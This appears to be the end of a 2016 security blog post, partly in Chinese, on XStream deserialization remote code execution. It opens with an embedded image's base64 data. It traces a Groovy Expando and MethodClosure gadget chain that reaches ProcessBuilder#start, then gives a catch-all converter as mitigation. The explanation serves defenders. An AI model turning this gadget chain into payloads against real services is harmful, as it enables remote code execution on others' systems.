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kLMxnPdMfTBweTj50TwrWp8+GBpqD2TnigSZs6X/bpYqos5TxrX332RBXr5Ep0vS3p1cQdejUAABABvRri8K1X907dPT78oDue6Y5nusbuvRE+8MKLO8yYK7vjmePDDy5OOoasG/ubVp/OGkZi9elseKCprHPpEVmSFM3qmVFFjugVq9Zag2Q/u9Ygq7Hi2z9zr46psv09km2VWurV9Wq80v+jAwAABEGvhjh869UffpM8O7lyTk+f09O73n63qbXLXLbn7OTKBzHHeHVQe8dzuXiqWzijirShs9OriUdqpldzizUAANhC9GqIw7deHbmS+HwqbWbHSy933X5kvbwwnRlKrA0l1gYTa6d+vGcYC659rdngZkrNCdcjctHRabOLRhVJkrLb2CZsO2pt4fqYKkvWyLOu1kn1e/ba1hhagyRHprQGqejZPc/l2avzW9rGuvMr648czh9Kjkzp+2SvfZ1nqVPVBtcxdbWuelPlSanUTK9mvBoAAGwhejXE4Vuvfu/LxB8n02Z+8eKO07ceWS+1udXw/t/tCYTfCoT37D1gGO6nlzX250u1Va29T2RvtnpEdvRG86ZrRwV1FON8xfVanz9ybqzYdi5Nca9xpsS5Chesm6WtQWnn7o4fmW+z5JWbZdu809u6GTu/V/VrJHGllno1g9UAAGCr0KshDt96dfNQsvPWSnQiHZ1Iv/Jm8N2OHnM5OpHunVt99bXXrtxZ659bffX11wt7tdmllzIThpFYykyYL71P5NFsrcrqnDvt3tKjLTvWW43X0WPNDpw7RbFeXeqYzl6tNUhOshrzOqxXr173yrMrrWuWJB54VpOhVwMAABHQqyEO33p190TqyLf3T91eOXV7pfV64pW3Gs2Hlv3yV7/+82ymue1M/0+rXbceNh87WaxXm13avuwVe4e01pTZq+tU3bOdZg+oKZKsxnS1zj6V2lyTe+534dlLnsuzVxc282fv1dZZCnt1/ji061pLrfRqbq4GAABbiV4NcfjWqx+uJfdenm8bWz5xc8WeizOZD9tPh0KhQCAQCASCweCZMx2ufa154NZgdYlng+tqnbMoFunVhbOmbTdde603b95uUOy9tGCN++zZ54GXOFfhPPD8RWpK4cqoqsbKnQeeP0tBr9YjquaabV79PknM1Eav7lMkiVoNAAC2Dr0a4vCtVxtG4npiIXw5+Y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" alt="" />

MethodClosure对应的闭包被直接调用执行,并返回执行结果,由于ProcessBuilder的返回值是一个ProcessBuilderImpl对象,所以在赋值过程中出现Exception错误
这和《RCE via XStream object deserialization》里提出使用dynamic proxy、EventHandler拦截sort-set的自动sort()回调调用本质上思想是一致的,都是在XStream进行对象重建过程中,通过拦截对应类型的callback(对Map来说是hashCode(),对Sort-set来说是sort())实现恶意代码注入

groovy.util.Expando

It has an intriguing hashCode() implementation

public int hashCode() {
Object method = getProperties().get("hashCode");
if (method != null && method instanceof Closure) {
// invoke overridden hashCode closure method
Closure closure = (Closure) method;
closure.setDelegate(this);
Integer ret = (Integer) closure.call();
return ret.intValue();
} else {
return super.hashCode();
}
}

if the Expando has a Closure that’s supposed to figure out the hash code, the Expando will call that Closure and return its output. All we have to do is supply a Closure to use(MethodClosure),A MethodClosure is a wrapper that calls an arbitrary class and method name

. MapConverter#populateMap() calls HashMap#put()
. HashMap#put() calls Expando#hashCode() //calback automate
. Expando#hashCode() calls MethodClosure#call()
. MethodClosure#call() calls MethodClosure#doCall()
. MethodClosure#doCall() calls InvokerHelper#invokeMethod()
. InvokerHelper#invokeMethod() calls ProcessBuilder#start()

Relevant Link:

http://zone.wooyun.org/content/25551
http://blog.diniscruz.com/2013/12/xstream-remote-code-execution-exploit.html
https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream

7. What to do about it

. Register a standard priority converter for the beans you are expecting in your application
. Register a catch-all converter with higher priority than the reflection ones (low priority) and make the converter to return null on its unmarshall method so any object deserialized by the catch-all converter, will throw an exception and interrupt the converter chain before hitting the Reflection converters.

ContactConverter.java

import com.thoughtworks.xstream.converters.Converter;
import com.thoughtworks.xstream.converters.MarshallingContext;
import com.thoughtworks.xstream.converters.UnmarshallingContext;
import com.thoughtworks.xstream.io.HierarchicalStreamReader;
import com.thoughtworks.xstream.io.HierarchicalStreamWriter; public class CatchAllConverter implements Converter { public boolean canConvert(Class clazz) {
return true;
} public void marshal(Object value, HierarchicalStreamWriter writer, MarshallingContext context) {
} public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
return null;
} }

before deserializing our untrusted input we have to register our new converters

XStream xstream = new XStream(new DomDriver());
xstream.processAnnotations(Contact.class);
xstream.registerConverter(new ContactConverter());
xstream.registerConverter(new CatchAllConverter(), XStream.PRIORITY_VERY_LOW);

Copyright (c) 2016 LittleHann All rights reserved